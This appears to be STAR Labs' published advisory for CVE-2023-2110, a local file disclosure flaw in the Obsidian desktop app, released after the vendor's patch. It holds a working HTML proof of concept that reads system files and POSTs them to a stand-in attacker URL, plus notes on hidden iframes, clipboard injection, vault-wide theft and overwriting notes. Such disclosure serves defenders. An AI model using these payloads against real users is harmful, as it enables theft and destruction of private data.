<meta property="og:description" content="Summary: Product Obsidian Vendor Obsidian Severity High Affected Versions Obsidian < 1.2.8 Tested Versions Obsidian 1.1.16 CVE Identifier CVE-2023-2110 CVE Description Improper path handling in Obsidian desktop before 1.2.8 on Windows, Linux and macOS allows a crafted webpage to access local files and exfiltrate them to remote web servers via “app://local/<absolute-path>”. This vulnerability can be exploited if a user opens a malicious markdown file in Obsidian, or copies text from a malicious webpage and paste it into Obsidian." />
<meta property="og:type" content="article" />
<meta property="og:url" content="https://starlabs.sg/advisories/23/23-2110/" /><meta property="og:image" content="https://starlabs.sg/logo-white.png"/><meta property="article:section" content="advisories" />
<meta property="article:published_time" content="2023-08-19T00:00:00+00:00" />
<meta property="article:modified_time" content="2023-08-19T00:00:00+00:00" /><meta property="og:site_name" content="STAR Labs" />
<meta name="twitter:card" content="summary_large_image"/>
<meta name="twitter:image" content="https://starlabs.sg/logo-white.png"/>
<meta name="twitter:title" content="(CVE-2023-2110) Obsidian Local File Disclosure"/>
<meta name="twitter:description" content="Summary: Product Obsidian Vendor Obsidian Severity High Affected Versions Obsidian < 1.2.8 Tested Versions Obsidian 1.1.16 CVE Identifier CVE-2023-2110 CVE Description Improper path handling in Obsidian desktop before 1.2.8 on Windows, Linux and macOS allows a crafted webpage to access local files and exfiltrate them to remote web servers via “app://local/<absolute-path>”. This vulnerability can be exploited if a user opens a malicious markdown file in Obsidian, or copies text from a malicious webpage and paste it into Obsidian."/>
<script type="application/ld+json">
{
"@context": "https://schema.org",
"@type": "BreadcrumbList",
"itemListElement": [
{
"@type": "ListItem",
"position": 1 ,
"name": "Advisories",
"item": "https://starlabs.sg/advisories/"
},
{
"@type": "ListItem",
"position": 2 ,
"name": "(CVE-2023-2110) Obsidian Local File Disclosure",
"item": "https://starlabs.sg/advisories/23/23-2110/"
}
]
}
</script>
<script type="application/ld+json">
{
"@context": "https://schema.org",
"@type": "BlogPosting",
"headline": "(CVE-2023-2110) Obsidian Local File Disclosure",
"name": "(CVE-2023-2110) Obsidian Local File Disclosure",
"description": "Summary: Product Obsidian Vendor Obsidian Severity High Affected Versions Obsidian \u0026lt; 1.2.8 Tested Versions Obsidian 1.1.16 CVE Identifier CVE-2023-2110 CVE Description Improper path handling in Obsidian desktop before 1.2.8 on Windows, Linux and macOS allows a crafted webpage to access local files and exfiltrate them to remote web servers via \u0026ldquo;app://local/\u0026lt;absolute-path\u0026gt;\u0026rdquo;. This vulnerability can be exploited if a user opens a malicious markdown file in Obsidian, or copies text from a malicious webpage and paste it into Obsidian.",
"keywords": [
],
"articleBody": "Summary: Product Obsidian Vendor Obsidian Severity High Affected Versions Obsidian Tested Versions Obsidian 1.1.16 CVE Identifier CVE-2023-2110 CVE Description Improper path handling in Obsidian desktop before 1.2.8 on Windows, Linux and macOS allows a crafted webpage to access local files and exfiltrate them to remote web servers via “app://local/”. This vulnerability can be exploited if a user opens a malicious markdown file in Obsidian, or copies text from a malicious webpage and paste it into Obsidian. CWE Classification(s) CWE-22 Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’) CAPEC Classification(s) CAPEC-597 Absolute Path Traversal CVSS3.1 Scoring System: Base Score: 8.2 (High)\nVector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N\n Metric Value Attack Vector (AV) Local Attack Complexity (AC) Low Privileges Required (PR) None User Interaction (UI) Required Scope (S) Changed Confidentiality (C) High Integrity (I) High Availability (A) None Product Overview: Obsidian is a markdown editor designed for knowledge workers and researchers that has gained significant popularity in recent years. One of its main features is its ability to create links between notes, allowing users to easily organize and navigate their ideas.\nObsidian is built on Electron, a framework that enables it to run seamlessly on various operating systems. The markdown editor supports HTML tags and embedding images from local filesystem. An attacker can use the vulnerability to access arbitrary local files from a malicious webpage loaded in the markdown editor.\nVulnerability Summary: There is a Local File Disclosure vulnerability in app://local/ in Obsidian desktop client, allowing a crafted webpage to access local files and exfiltrate them to remote web servers. This vulnerability can be exploited if a user opens a malicious markdown file in Obsidian, or copies text from a malicious webpage and paste it into Obsidian.\nVulnerability Details: In resources/app.asar/main.js, a custom URL scheme app:// is registered via electron.protocol.registerFileProtocol API. This URL scheme is designed for loading local resources embedded in the markdown file. For example, an image in markdown syntax  will be converted to HTML img tag for preview:\nThe following code snippet is the function handling app:// :\nlet SCHEME = 'app'; let PROTOCOL = SCHEME + '://'; let APP_URL_ROOT = PROTOCOL + 'obsidian.md/'; let FILE_ROOT = PROTOCOL + 'local/'; // ... protocol.registerFileProtocol('app', (req, callback) = { let url = req.url; let noframe = false; // ... if (url.indexOf(FILE_ROOT) === 0) { url = decodeURIComponent(url.substr(FILE_ROOT.length)); if (!isWin) { url = '/' + url; } url = path.resolve(url); // [1] // Disallow framing if the path is a UNC path if (isUncPath(url)) { noframe = true; } } // Don't allow iframes from different origins to access local files let referrer = req.referrer; if (referrer \u0026\u0026 referrer.indexOf(PROTOCOL) !== 0) { // [2] noframe = true; url = ''; } let headers = {}; if (noframe) { headers['X-Frame-Options'] = 'DENY'; } callback({ path: url, headers }); }); When the URL of a request starts with app://local/, the remainder of the URL is resolved by path.resolve as an absolute path at [1].\nAt [2], if the request comes with a referrer header and the value does not start with app://, this request will be assumed to originate from an iframe, and the URL will be set to empty to prevent external webpage from loading local resources.\nHowever, it was discovered that loading an external webpage in iframe and executing the following JavaScript code will send an empty referer header to app://local/, which led to bypassing the referer check and disclosing the contents of any local files:\nr = new XMLHttpRequest(); r.open('GET', 'app://local/C:/windows/win.ini'); r.addEventListener('load', e = { let result = e.currentTarget.responseText; console.log(result); }); r.send(); Exploit Conditions: This vulnerability can be exploited by convicing the victim to (1) open a malicious markdown file or canvas file in Obsidian, or (2) copy text from a malicious webpage and paste it into Obsidian.\nProof-of-Concept: We have tried our best to make the PoC as portable as possible. The following HTML code is a PoC demonstrating this arbitrary file disclosure vulnerability:\n html lang=\"en\" body script window.location = `data:text/html,(${payload.toString()})()\\x3c/script`; function payload() { let filename = 'app://local/'; if(navigator.platform === 'Win32'){ filename += 'C:/Windows/win.ini'; } else if(navigator.platform.startsWith('Linux')){ filename += '/proc/self/root/etc/passwd' } let r = new XMLHttpRequest(); r.open('GET', filename); r.addEventListener('load', e = { let result = e.currentTarget.responseText; console.log(result); confirm(result) fetch('http://example.localtest.me/send-file-to-attacker-server', {method: 'post', mode: 'no-cors', body: result}) }); r.send(); } script body html Save the above HTML file as poc1.html and serve it on a webserver, then append this line to any markdown file in Obsidian: . Once the PoC is loaded in the iframe, it will:\n Try to read C:/Windows/win.ini on Windows, or /etc/passwd on Linux, Show the content of the file in a dialog, Send the file to external URL on example.localtest.me (this domain resolves to 127.0.0.1 for demonstration purposes only). Note: A live version of poc1.html can be found at https://o.cal1.cn/e6c33c0a905bde0f-obsidian-local-file-disclosure-poc/poc1.html\nAttack Scenario: Scenario 1: Open a malicious markdown file An attacker can inject an iframe tag in a markdown file and convince the victim to open it in Obsidian to trigger the payload.\nScenario 2: Copy and paste from a webpage An attacker can craft a malicious webpage and hook on the copy event with the following code:\nscript document.addEventListener('copy',e={ e.preventDefault(); let payload = `); }) script When the victim copies text from this page, the payload is added to the copied content and will be triggered when it is pasted into Obsidian.\nNote: A live version of copy-and-paste PoC can be found here.\nAdditional Notes: It is possible to add style=\"display:none\" attribute to the iframe to make the exploit invisible.\n An attacker can get a list of recently opened vaults from:\n app://local/proc/self/cwd/.config/obsidian/obsidian.json on Linux, or app://local/..%252f..%252fRoaming%2fObsidian%2fobsidian.json on Windows Then get a file list of each vault from app://local/PATH-TO-VAULT/.obsidian/workspace.json, and finally reads every file in the vault. In another word, an attacker can exploit this vulnerability to leak most of the contents in the victim’s vaults.\nAn example of such exploit can be found at https://o.cal1.cn/e6c33c0a905bde0f-obsidian-local-file-disclosure-poc/poc2.html\n Once the attacker obtained vault id from obsidian.json, it is possible to append arbitrary content to existing markdown files via obsidian://new.\nFor example, executing location = 'obsidian://new?file=Untitled.md\u0026vault=56cc6ab7be5a53d5\u0026append=1\u0026content=appended-content' will add “appended-content” at the end of Untitled.md in the specified vault. This would make this vulnerability wormable, as the attacker is able to append the same payload invisibly to the victim’s other markdown files.\nIt is also possible for attacker to purge the files via the overwrite param: location = 'obsidian://new?file=Untitled.md\u0026vault=56cc6ab7be5a53d5\u0026overwrite=1\u0026content=REMOVED'. This will seriously compromise the integrity of the user’s data.\n Suggested Mitigations: Prohibit http(s) webpages from accessing app:// resources. It is also recommended to limit the local resources to be loaded only from the current vault directory.\nFor end users who are using the versions affected by this vulnerability, it is suggested that (1) any untrusted markdown file or canvas file should not be opened in Obsidian, and (2) copying text from an untrusted webpage then pasting it into Obsidian should be avoided.\nDetection Guidance: It is possible to detect the exploitation of this vulnerability by checking the presence of iframe tags loading suspicious URLs in markdown files.\nCredits: Li Jiantao (@CurseRed) of STAR Labs SG Pte. Ltd. (@starlabs_sg)\nTimeline: 2023-04-28 Vendor Disclosure 2023-05-03 Vendor Patch Release 2023-08-19 Public Release ",
"wordCount" : "1202",
"inLanguage": "en",
"datePublished": "2023-08-19T00:00:00Z",
"dateModified": "2023-08-19T00:00:00Z",
"author":{
"@type": "Person",
"name": "Li Jiantao (@CurseRed)"
},
"mainEntityOfPage": {
"@type": "WebPage",
"@id": "https://starlabs.sg/advisories/23/23-2110/"
},
"publisher": {
"@type": "Organization",
"name": "STAR Labs",
"logo": {
"@type": "ImageObject",
"url": "https://starlabs.sg/logo-white.png"
}
}
}
</script>
</head>
<body class=" dark" id="top">
<header class="header">
<nav class="nav">
<div class="logo">
<a href="https://starlabs.sg/" accesskey="h" title=" (Alt + H)">
<img src="https://starlabs.sg/logo-white.png" alt="logo" aria-label="logo"
height="35"> </a>
<span class="logo-switches">
</span>
</div>
<ul id="menu">
<li>
<a href="https://starlabs.sg/" title="Home">
<span>Home</span>
</a>
</li>
<li>
<a href="https://starlabs.sg/about/" title="About">
<span>About</span>
</a>
</li>
<li>
<a href="https://starlabs.sg/advisories/" title="Advisories">
<span>Advisories</span>
</a>
</li>
<li>
<a href="https://starlabs.sg/blog/" title="Blog">
<span>Blog</span>
</a>
</li>
<li>
<a href="https://starlabs.sg/achievements/" title="Achievements">
<span>Achievements</span>
</a>
</li>
<li>
<a href="https://starlabs.sg/publications/" title="Publications">
<span>Publications</span>
</a>
</li>
<li>
<a href="https://starlabs.sg/search/" title="Search (Alt + /)" accesskey=/>
<span>Search</span>
</a>
</li>
</ul>
</nav>
</header>
<main class="main">
<article class="post-single">
<header class="post-header">
<div class="breadcrumbs"><a href="https://starlabs.sg/">Home</a> » <a href="https://starlabs.sg/advisories/">Advisories</a></div>
<h1 class="post-title">
(CVE-2023-2110) Obsidian Local File Disclosure
</h1>
<div class="post-meta"><span title='2023-08-19 00:00:00 +0000 UTC'>August 19, 2023</span> · 6 min · Li Jiantao (@CurseRed)
</div>
</header> <div class="toc">
<details >
<summary accesskey="c" title="(Alt + C)">
<span class="details">Table of Contents</span>
</summary>
<div class="inner"><ul>
<li>
<a href="#summary" aria-label="Summary:">Summary:</a></li>
<li>
<a href="#cvss31-scoring-system" aria-label="CVSS3.1 Scoring System:">CVSS3.1 Scoring System:</a></li>
<li>
<a href="#product-overview" aria-label="Product Overview:">Product Overview:</a></li>
<li>
<a href="#vulnerability-summary" aria-label="Vulnerability Summary:">Vulnerability Summary:</a></li>
<li>
<a href="#vulnerability-details" aria-label="Vulnerability Details:">Vulnerability Details:</a></li>
<li>
<a href="#exploit-conditions" aria-label="Exploit Conditions:">Exploit Conditions:</a></li>
<li>
<a href="#proof-of-concept" aria-label="Proof-of-Concept:">Proof-of-Concept:</a></li>
<li>
<a href="#attack-scenario" aria-label="Attack Scenario:">Attack Scenario:</a><ul>
<li>
<a href="#scenario-1-open-a-malicious-markdown-file" aria-label="Scenario 1: Open a malicious markdown file">Scenario 1: Open a malicious markdown file</a></li>
<li>
<a href="#scenario-2-copy-and-paste-from-a-webpage" aria-label="Scenario 2: Copy and paste from a webpage">Scenario 2: Copy and paste from a webpage</a></li>
<li>
<a href="#additional-notes" aria-label="Additional Notes:">Additional Notes:</a></li></ul>
</li>
<li>
<a href="#suggested-mitigations" aria-label="Suggested Mitigations:">Suggested Mitigations:</a></li>
<li>
<a href="#detection-guidance" aria-label="Detection Guidance:">Detection Guidance:</a></li>
<li>
<a href="#credits" aria-label="Credits:">Credits:</a></li>
<li>
<a href="#timeline" aria-label="Timeline:">Timeline:</a>
</li>
</ul>
</div>
</details>
</div>
<div class="post-content"><h2 id="summary">Summary:<a hidden class="anchor" aria-hidden="true" href="#summary">#</a></h2>
<table>
<thead>
<tr>
<th><strong>Product</strong></th>
<th>Obsidian</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Vendor</strong></td>
<td>Obsidian</td>
</tr>
<tr>
<td><strong>Severity</strong></td>
<td>High</td>
</tr>
<tr>
<td><strong>Affected Versions</strong></td>
<td>Obsidian < 1.2.8</td>
</tr>
<tr>
<td><strong>Tested Versions</strong></td>
<td>Obsidian 1.1.16</td>
</tr>
<tr>
<td><strong>CVE Identifier</strong></td>
<td>CVE-2023-2110</td>
</tr>
<tr>
<td><strong>CVE Description</strong></td>
<td>Improper path handling in Obsidian desktop before 1.2.8 on Windows, Linux and macOS allows a crafted webpage to access local files and exfiltrate them to remote web servers via “app://local/<absolute-path>”. This vulnerability can be exploited if a user opens a malicious markdown file in Obsidian, or copies text from a malicious webpage and paste it into Obsidian.</td>
</tr>
<tr>
<td><strong>CWE Classification(s)</strong></td>
<td>CWE-22 Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)</td>
</tr>
<tr>
<td><strong>CAPEC Classification(s)</strong></td>
<td>CAPEC-597 Absolute Path Traversal</td>
</tr>
</tbody>
</table>
<h2 id="cvss31-scoring-system">CVSS3.1 Scoring System:<a hidden class="anchor" aria-hidden="true" href="#cvss31-scoring-system">#</a></h2>
<p><strong>Base Score:</strong> 8.2 (High)<br>
<strong>Vector String:</strong> <code>CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N</code></p>
<table>
<thead>
<tr>
<th><strong>Metric</strong></th>
<th><strong>Value</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Attack Vector (AV)</strong></td>
<td>Local</td>
</tr>
<tr>
<td><strong>Attack Complexity (AC)</strong></td>
<td>Low</td>
</tr>
<tr>
<td><strong>Privileges Required (PR)</strong></td>
<td>None</td>
</tr>
<tr>
<td><strong>User Interaction (UI)</strong></td>
<td>Required</td>
</tr>
<tr>
<td><strong>Scope (S)</strong></td>
<td>Changed</td>
</tr>
<tr>
<td><strong>Confidentiality (C)</strong></td>
<td>High</td>
</tr>
<tr>
<td><strong>Integrity (I)</strong></td>
<td>High</td>
</tr>
<tr>
<td><strong>Availability (A)</strong></td>
<td>None</td>
</tr>
</tbody>
</table>
<h2 id="product-overview">Product Overview:<a hidden class="anchor" aria-hidden="true" href="#product-overview">#</a></h2>
<p>Obsidian is a markdown editor designed for knowledge workers and researchers that has gained significant popularity in recent years. One of its main features is its ability to create links between notes, allowing users to easily organize and navigate their ideas.</p>
<p>Obsidian is built on Electron, a framework that enables it to run seamlessly on various operating systems. The markdown editor supports HTML tags and embedding images from local filesystem. An attacker can use the vulnerability to access arbitrary local files from a malicious webpage loaded in the markdown editor.</p>
<h2 id="vulnerability-summary">Vulnerability Summary:<a hidden class="anchor" aria-hidden="true" href="#vulnerability-summary">#</a></h2>
<p>There is a Local File Disclosure vulnerability in <code>app://local/</code> in Obsidian desktop client, allowing a crafted webpage to access local files and exfiltrate them to remote web servers. This vulnerability can be exploited if a user opens a malicious markdown file in Obsidian, or copies text from a malicious webpage and paste it into Obsidian.</p>
<h2 id="vulnerability-details">Vulnerability Details:<a hidden class="anchor" aria-hidden="true" href="#vulnerability-details">#</a></h2>
<p>In <code>resources/app.asar/main.js</code>, a custom URL scheme <code>app://</code> is registered via <code>electron.protocol.registerFileProtocol</code> API. This URL scheme is designed for loading local resources embedded in the markdown file. For example, an image in markdown syntax <code></code> will be converted to HTML img tag <code><img src="app://local/C:/Users/cr/Documents/md/img1.png?1681587426400"></code> for preview:</p>
<p><img loading="lazy" src="/advisories/23/images/CVE-2023-2110_01-local-image-loaded-via-app-url-scheme.jpg" alt="" />
</p>
<p>The following code snippet is the function handling <code>app://</code> :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">SCHEME</span> <span class="o">=</span> <span class="s1">'app'</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">PROTOCOL</span> <span class="o">=</span> <span class="nx">SCHEME</span> <span class="o">+</span> <span class="s1">'://'</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">APP_URL_ROOT</span> <span class="o">=</span> <span class="nx">PROTOCOL</span> <span class="o">+</span> <span class="s1">'obsidian.md/'</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">FILE_ROOT</span> <span class="o">=</span> <span class="nx">PROTOCOL</span> <span class="o">+</span> <span class="s1">'local/'</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="c1">// ...
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">protocol</span><span class="p">.</span><span class="nx">registerFileProtocol</span><span class="p">(</span><span class="s1">'app'</span><span class="p">,</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">callback</span><span class="p">)</span> <span class="p">=></span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="kd">let</span> <span class="nx">url</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">url</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="kd">let</span> <span class="nx">noframe</span> <span class="o">=</span> <span class="kc">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="c1">// ...
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="k">if</span> <span class="p">(</span><span class="nx">url</span><span class="p">.</span><span class="nx">indexOf</span><span class="p">(</span><span class="nx">FILE_ROOT</span><span class="p">)</span> <span class="o">===</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nx">url</span> <span class="o">=</span> <span class="nb">decodeURIComponent</span><span class="p">(</span><span class="nx">url</span><span class="p">.</span><span class="nx">substr</span><span class="p">(</span><span class="nx">FILE_ROOT</span><span class="p">.</span><span class="nx">length</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">isWin</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nx">url</span> <span class="o">=</span> <span class="s1">'/'</span> <span class="o">+</span> <span class="nx">url</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"> <span class="nx">url</span> <span class="o">=</span> <span class="nx">path</span><span class="p">.</span><span class="nx">resolve</span><span class="p">(</span><span class="nx">url</span><span class="p">);</span> <span class="c1">// [1]
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="c1">// Disallow framing if the path is a UNC path
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="k">if</span> <span class="p">(</span><span class="nx">isUncPath</span><span class="p">(</span><span class="nx">url</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nx">noframe</span> <span class="o">=</span> <span class="kc">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// Don't allow iframes from different origins to access local files
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kd">let</span> <span class="nx">referrer</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">referrer</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="nx">referrer</span> <span class="o">&&</span> <span class="nx">referrer</span><span class="p">.</span><span class="nx">indexOf</span><span class="p">(</span><span class="nx">PROTOCOL</span><span class="p">)</span> <span class="o">!==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// [2]
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nx">noframe</span> <span class="o">=</span> <span class="kc">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="nx">url</span> <span class="o">=</span> <span class="s1">''</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="kd">let</span> <span class="nx">headers</span> <span class="o">=</span> <span class="p">{};</span>
</span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="nx">noframe</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nx">headers</span><span class="p">[</span><span class="s1">'X-Frame-Options'</span><span class="p">]</span> <span class="o">=</span> <span class="s1">'DENY'</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"> <span class="nx">callback</span><span class="p">({</span> <span class="nx">path</span><span class="o">:</span> <span class="nx">url</span><span class="p">,</span> <span class="nx">headers</span> <span class="p">});</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span></code></pre></div><p>When the URL of a request starts with <code>app://local/</code>, the remainder of the URL is resolved by <code>path.resolve</code> as an absolute path at <code>[1]</code>.</p>
<p>At <code>[2]</code>, if the request comes with a <code>referrer</code> header and the value does not start with <code>app://</code>, this request will be assumed to originate from an iframe, and the URL will be set to empty to prevent external webpage from loading local resources.</p>
<p>However, it was discovered that loading an external webpage in iframe and executing the following JavaScript code will send an empty referer header to <code>app://local/</code>, which led to bypassing the referer check and disclosing the contents of any local files:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="nx">r</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">XMLHttpRequest</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="nx">r</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="s1">'GET'</span><span class="p">,</span> <span class="s1">'app://local/C:/windows/win.ini'</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nx">r</span><span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span><span class="s1">'load'</span><span class="p">,</span> <span class="nx">e</span> <span class="p">=></span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="kd">let</span> <span class="nx">result</span> <span class="o">=</span> <span class="nx">e</span><span class="p">.</span><span class="nx">currentTarget</span><span class="p">.</span><span class="nx">responseText</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">result</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span><span class="line"><span class="cl"><span class="nx">r</span><span class="p">.</span><span class="nx">send</span><span class="p">();</span>
</span></span></code></pre></div><p><img loading="lazy" src="/advisories/23/images/CVE-2023-2110_02-read-local-file-from-external-webpage.png" alt="" />
</p>
<h2 id="exploit-conditions">Exploit Conditions:<a hidden class="anchor" aria-hidden="true" href="#exploit-conditions">#</a></h2>
<p>This vulnerability can be exploited by convicing the victim to (1) open a malicious markdown file or canvas file in Obsidian, or (2) copy text from a malicious webpage and paste it into Obsidian.</p>
<h2 id="proof-of-concept">Proof-of-Concept:<a hidden class="anchor" aria-hidden="true" href="#proof-of-concept">#</a></h2>
<p>We have tried our best to make the PoC as portable as possible. The following HTML code is a PoC demonstrating this arbitrary file disclosure vulnerability:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="cp"><!DOCTYPE html></span>
</span></span><span class="line"><span class="cl"><span class="p"><</span><span class="nt">html</span> <span class="na">lang</span><span class="o">=</span><span class="s">"en"</span><span class="p">></span>
</span></span><span class="line"><span class="cl"><span class="p"><</span><span class="nt">body</span><span class="p">></span>
</span></span><span class="line"><span class="cl"><span class="p"><</span><span class="nt">script</span><span class="p">></span>
</span></span><span class="line"><span class="cl"> <span class="nb">window</span><span class="p">.</span><span class="nx">location</span> <span class="o">=</span> <span class="sb">`data:text/html,<script>(</span><span class="si">${</span><span class="nx">payload</span><span class="p">.</span><span class="nx">toString</span><span class="p">()</span><span class="si">}</span><span class="sb">)()\x3c/script>`</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="kd">function</span> <span class="nx">payload</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="kd">let</span> <span class="nx">filename</span> <span class="o">=</span> <span class="s1">'app://local/'</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="k">if</span><span class="p">(</span><span class="nx">navigator</span><span class="p">.</span><span class="nx">platform</span> <span class="o">===</span> <span class="s1">'Win32'</span><span class="p">){</span>
</span></span><span class="line"><span class="cl"> <span class="nx">filename</span> <span class="o">+=</span> <span class="s1">'C:/Windows/win.ini'</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span> <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="nx">navigator</span><span class="p">.</span><span class="nx">platform</span><span class="p">.</span><span class="nx">startsWith</span><span class="p">(</span><span class="s1">'Linux'</span><span class="p">)){</span>
</span></span><span class="line"><span class="cl"> <span class="nx">filename</span> <span class="o">+=</span> <span class="s1">'/proc/self/root/etc/passwd'</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"> <span class="kd">let</span> <span class="nx">r</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">XMLHttpRequest</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"> <span class="nx">r</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="s1">'GET'</span><span class="p">,</span> <span class="nx">filename</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="nx">r</span><span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span><span class="s1">'load'</span><span class="p">,</span> <span class="nx">e</span> <span class="p">=></span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="kd">let</span> <span class="nx">result</span> <span class="o">=</span> <span class="nx">e</span><span class="p">.</span><span class="nx">currentTarget</span><span class="p">.</span><span class="nx">responseText</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">result</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="nx">confirm</span><span class="p">(</span><span class="nx">result</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="nx">fetch</span><span class="p">(</span><span class="s1">'http://example.localtest.me/send-file-to-attacker-server'</span><span class="p">,</span> <span class="p">{</span><span class="nx">method</span><span class="o">:</span> <span class="s1">'post'</span><span class="p">,</span> <span class="nx">mode</span><span class="o">:</span> <span class="s1">'no-cors'</span><span class="p">,</span> <span class="nx">body</span><span class="o">:</span> <span class="nx">result</span><span class="p">})</span>
</span></span><span class="line"><span class="cl"> <span class="p">});</span>
</span></span><span class="line"><span class="cl"> <span class="nx">r</span><span class="p">.</span><span class="nx">send</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p"></</span><span class="nt">script</span><span class="p">></span>
</span></span><span class="line"><span class="cl"><span class="p"></</span><span class="nt">body</span><span class="p">></span>
</span></span><span class="line"><span class="cl"><span class="p"></</span><span class="nt">html</span><span class="p">></span>
</span></span></code></pre></div><p>Save the above HTML file as <code>poc1.html</code> and serve it on a webserver, then append this line to any markdown file in Obsidian: <code><iframe src="http(s)://YOUR-WEB-SERVER/poc1.html"></iframe></code>. Once the PoC is loaded in the iframe, it will:</p>
<ol>
<li>Try to read <code>C:/Windows/win.ini</code> on Windows, or <code>/etc/passwd</code> on Linux,</li>
<li>Show the content of the file in a dialog,</li>
<li>Send the file to external URL on <code>example.localtest.me</code> (this domain resolves to 127.0.0.1 for demonstration purposes only).</li>
</ol>
<p><img loading="lazy" src="/advisories/23/images/CVE-2023-2110_03-poc1.gif" alt="" />
</p>
<p><em>Note: A live version of poc1.html can be found at <code>https://o.cal1.cn/e6c33c0a905bde0f-obsidian-local-file-disclosure-poc/poc1.html</code></em></p>
<h2 id="attack-scenario">Attack Scenario:<a hidden class="anchor" aria-hidden="true" href="#attack-scenario">#</a></h2>
<h3 id="scenario-1-open-a-malicious-markdown-file">Scenario 1: Open a malicious markdown file<a hidden class="anchor" aria-hidden="true" href="#scenario-1-open-a-malicious-markdown-file">#</a></h3>
<p>An attacker can inject an iframe tag in a markdown file and convince the victim to open it in Obsidian to trigger the payload.</p>
<p><img loading="lazy" src="/advisories/23/images/CVE-2023-2110_04-open-malicious-markdown-file-in-obsidian.gif" alt="" />
</p>
<h3 id="scenario-2-copy-and-paste-from-a-webpage">Scenario 2: Copy and paste from a webpage<a hidden class="anchor" aria-hidden="true" href="#scenario-2-copy-and-paste-from-a-webpage">#</a></h3>
<p>An attacker can craft a malicious webpage and hook on the <code>copy</code> event with the following code:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="p"><</span><span class="nt">script</span><span class="p">></span>
